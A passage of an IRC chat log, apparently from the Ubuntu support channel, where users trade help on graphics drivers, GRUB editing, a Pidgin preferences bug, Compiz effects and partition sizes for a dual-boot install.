and see if theres a fix :) I don't tend to use pidgin [23:48] augi01: I forget, do I want the nv or nvidia drivers? [23:48] * soundray steals a cookie while Pelo isn't looking [23:48] What are the chances that I'll have a failed installation? [23:48] Mike_HPM: I've always used the nVidia driver. [23:49] bec8it, when you boot, ,when you get the grub menu . hit e that will let you edit the first line of your grub menu, change the root (hd0,0) to whatever partiton ubuntu is on [23:49] Mike_HPM: Once you finish the process, you'll need to restart your xserver, by doing ctrl+alt+backspace should do it for you. [23:49] kitche, https://bugs.launchpad.net/ubuntu/+source/pidgin/+bug/149207 [23:49] :D [23:49] Cause I really don't feel like spending several hours waiting for my important data to transfer over our network...

[23:51] Agent, it's either the desktop cd or the alternate install cd [23:51] I used to use freebsd as a desktop, how do I use my old thunderbird settings in ubuntu? [23:51] Phantom_, you can chat while installing [23:51] wers: just do what the fix says :) seems like when you upgrade to gutsy the permissions are set wrong when you start using gutsy [23:51] Oh?

[23:52] Agent, check for a private message windows with instructions from ubotu [23:52] kitche, that would delete my IM history :( [23:52] It was a 3.3 gig file...

[23:53] Phantom_, it might be more advisable [23:53] wers: you can back it up really seems like only one file needs deleted which it prefs.xml [23:53] nope, didn't show up in any trash can [23:53] :S [23:53] Did I just lose my 3.3 gigs? [23:53] sal [23:53] Phantom_, probably not [23:53] okay.. I'm deleting my prefs.xml now, kitche [23:54] Beryl is not working, its my first time attemptin to use, it will not do any effects, however it does show to be on in the top bar.

[23:55] irc.freenode.org? [23:55] kitche, why not? [23:55] Phantom_: why do you bother to ask questions here? [23:55] Phantom_, yes [23:55] Phantom_, the channel is #ubuntu === Alp-3 is now known as Alp` [23:55] quinton: some of the add-ons for it only work with compiz now [23:55] Because I want to be sure I get a clean install. [23:55] how do i start the gdm failsafe server when x fails? [23:55] I am trying to setup a proftpd connection but for some reason when I try to connect I get an error that says control connection closed. Any ideas what might be causing it.

[23:56] Phantom_, the dualboot install process is fairly straight forword, just tell the installer for make room for ubuntu and install on that [23:56] hi [23:57] again [23:57] Can I increase the partition for ubuntu later on? [23:57] anyone here own a dell 3007wfp-HC? if so please let me know.. i have one question [23:57] !compiz | quinton [23:57] quinton: Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - help in #compiz-fusion [23:57] do you know some good equivalent to orbit downloader ? [23:57] what package should i download for an ati radeon driver, i cant find any on google [23:57] Phantom_, it's trickier but doable [23:57] !ati | f0rtune [23:57] f0rtune: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto [23:57] So, I should probably create the partition the size I want it when I install it, right? [23:58] Phantom_, yes [23:58] Okay. [23:58] Phantom_, it would be simpler yes [23:58] kitche, what manager do i want out of the three? i want burn page effects and just some others [23:58] Is ~15 gigabytes a sufficient partition size for ubuntu? [23:58] quinton, ask in #compiz-fusion [23:58] quinton: umm there is only one window manager now and it's compiz really [23:59] since -fusion is nothing without compiz [23:59] Phantom_, Yea, that should be fine as long as you aren't planning on having a lot of media on it [23:59] Phantom_, for ubuntu yes but that will only leave you with about 10 gigs of /home [23:59] Okay, thank you.
